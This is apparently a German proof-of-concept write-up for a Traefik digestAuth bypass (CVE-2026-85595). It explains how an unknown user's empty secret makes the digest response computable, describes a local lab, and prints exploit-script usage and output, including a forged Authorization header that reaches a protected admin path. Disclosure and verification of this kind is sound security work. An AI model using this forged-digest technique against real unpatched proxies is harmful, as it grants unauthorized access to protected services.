CVE-2026-85595 — Traefik digestAuth authentifiziert unbekannte Benutzer (leeres Secret)

Betroffen: Traefik < 2.11.55 und 3.0.0 – 3.7.10 Behoben: 2.11.55 / 3.7.11 Fix: containous/go-http-auth Commit b975dcaa8c48 "Reject DigestAuth when user secret is empty", per Commit 2116686308a2 (go.mod-Aktualisierung) in Traefik eingebunden Advisory: GHSA-4v96-rv7j-9wmr · CVSS 9.8 · CWE-287

Mechanismus

Die Digest-Middleware von Traefik ermittelt die HA1 des Benutzers über ihre eigene Secret-Suche (pkg/middlewares/auth/digest_auth.go):

func (d *digestAuth) secretDigest(user, realm string) string {
	if secret, ok := d.users[user+":"+realm]; ok {
		return secret
	}
	return ""            // unknown user -> empty secret, not a rejection
}

go-http-auths CheckAuth nimmt dann dieses "" als HA1 und berechnet (digest.go:191-203 vor der Korrektur):

HA1 := da.Secrets(auth["username"], da.Realm)   // "" for an unknown user
HA2 := H(r.Method + ":" + auth["uri"])
KD  := H(HA1 + ":" + auth["nonce"] + ":" + auth["nc"] + ":" + auth["cnonce"] + ":" + auth["qop"] + ":" + HA2)

PlainTextSecrets ist für Traefik false (die users-Datei enthält bereits HA1), daher bleibt HA1 der leere String. Jede Eingabe in KD außer HA1 wird vom Angreifer kontrolliert oder von der 401-Challenge ausgegeben (nonce, opaque), und die uri-Prüfung akzeptiert den eigenen Pfad der Anfrage. Die Antwort ist daher ohne jegliches Passwort und ohne einen Benutzernamen, der in der users-Datei existiert, berechenbar.

Der Fix besteht aus drei Zeilen in der Bibliothek:

HA1 := da.Secrets(auth["username"], da.Realm)
if HA1 == "" {
	return "", nil
}

Traefik selbst benötigte keine Codeänderung – nur die Aktualisierung der Abhängigkeit –, weshalb der Diff für v3.7.11 keinen digest_auth.go-Hunk enthält.

Lab

Rolle	Image	Container	Host-Port
verwundbarer Proxy	traefik:v3.7.10	poc-traefik-vuln-3710	127.0.0.1:21010 → :8000
behobener Proxy	traefik:v3.7.11	poc-traefik-3711	127.0.0.1:21011 → :8000

• Router: PathPrefix(/admin) am Entrypoint digest, Middleware digestAuth (realm=traefik-lab, usersFile=/etc/traefik/users.htdigest, removeHeader: true).
• Benutzerdatei: admin:traefik-lab:6002799976b7f2610ec21f5961f9e2e5 (admin:traefik-lab:S3cretLabPass). Der vom PoC verwendete Benutzer ghost ist nicht darin enthalten.
• Backend: poc-traefik-app (python:3.12-alpine), liefert ADMIN-AREA … für /admin/*.
• Anleitung: lab/README.md.

Verwendung

python3 cve_2026_85595.py exploit --url http://127.0.0.1:21010   # vulnerable
python3 cve_2026_85595.py check   --url http://127.0.0.1:21011   # fixed

--output FILE schreibt das Transkript; --path, --user überschreiben den Zielpfad und den gefälschten Benutzernamen.

Verifikation (echte Ausgabe)

1. Verwundbare traefik:v3.7.10 — Umgehung

$ python3 cve_2026_85595.py exploit --url http://127.0.0.1:21010
[*] target          : http://127.0.0.1:21010
[*] protected path  : /admin/secret
[*] forged username : 'ghost' (not present in the users file)
[*] mode            : exploit
[*] control (no credentials)          -> HTTP 401
[*] challenge                         -> HTTP 401
    Digest realm="traefik-lab", nonce="YHTw9aQqfnJCLD4C", opaque="kWFhikjHjyGSF8Yq", algorithm="MD5", qop="auth"
[*] HA1 (secret for 'ghost')      -> ''
[*] forged response                   -> 33b1b9b9e57144f3c02045c22dbd2772
[*] Authorization: Digest username="ghost", realm="traefik-lab", nonce="YHTw9aQqfnJCLD4C", uri="/admin/secret", algorithm=MD5, qop=auth, nc=00000001, cnonce="0a4f113b", response="33b1b9b9e57144f3c02045c22dbd2772", opaque="kWFhikjHjyGSF8Yq"
[*] forged request                    -> HTTP 200
    body: ADMIN-AREA secret admin panel for /admin/secret
    request_line: GET /admin/secret HTTP/1.1
    resolved_path: /admin/secret
=> PASS (digestAuth bypassed with unknown user 'ghost' and an empty HA1; protected content served with HTTP 200)

Das Zugriffsprotokoll des Proxys selbst zeichnet die gefälschte Identität als authentifizierten Benutzer auf (ClientUsername ist das zweite Feld nach der Client-IP):

192.168.48.1 - -     [24/Oct/2026:13:22:20 +0000] "GET /admin/secret HTTP/1.1" 401 17 "-" "-" 1 "digest-lab@file" "-" 0ms
192.168.48.1 - ghost [24/Oct/2026:13:22:20 +0000] "GET /admin/secret HTTP/1.1" 200 118 "-" "-" 3 "digest-lab@file" "http://app:8080" 6ms

2. Gleicher Proxy, keine Anmeldedaten (Kontrolle)

$ curl -sS -o /dev/null -w '%{http_code}\n' http://127.0.0.1:21010/admin/secret
401

3. Feste Version traefik:v3.7.11 — gefälschter Digest abgelehnt

$ python3 cve_2026_85595.py check --url http://127.0.0.1:21011
[*] target          : http://127.0.0.1:21011
[*] protected path  : /admin/secret
[*] forged username : 'ghost' (not present in the users file)
[*] mode            : check
[*] control (no credentials)          -> HTTP 401
[*] challenge                         -> HTTP 401
    Digest realm="traefik-lab", nonce="kcFdYslQKbKj6yxm", opaque="NL8YFCUjlmHaxmZP", algorithm="MD5", qop="auth"
[*] HA1 (secret for 'ghost')      -> ''
[*] forged response                   -> 00cbf0f515f4663a98a223027faece2f
[*] Authorization: Digest username="ghost", realm="traefik-lab", nonce="kcFdYslQKbKj6yxm", uri="/admin/secret", algorithm=MD5, qop=auth, nc=00000001, cnonce="0a4f113b", response="00cbf0f515f4663a98a223027faece2f", opaque="NL8YFCUjlmHaxmZP"
[*] forged request                    -> HTTP 401
    body: 401 Unauthorized
=> PASS (fixed: forged digest for an unknown user rejected with HTTP 401)

Hinweise / Einschränkungen

• Das PoC fälscht eine Anfrage pro Challenge; eine Nonce-Buchführung (nc) ist über die einmalige Verwendung hinaus nicht erforderlich.
• Es werden nirgends gültige Anmeldedaten verwendet; der einzige übertragene Benutzername existiert nicht in der Benutzerdatei.
• Dieselbe Technik funktioniert gegen jeden durch digestAuth geschützten Router einer betroffenen Version sowie gegen 2.11.x < 2.11.55.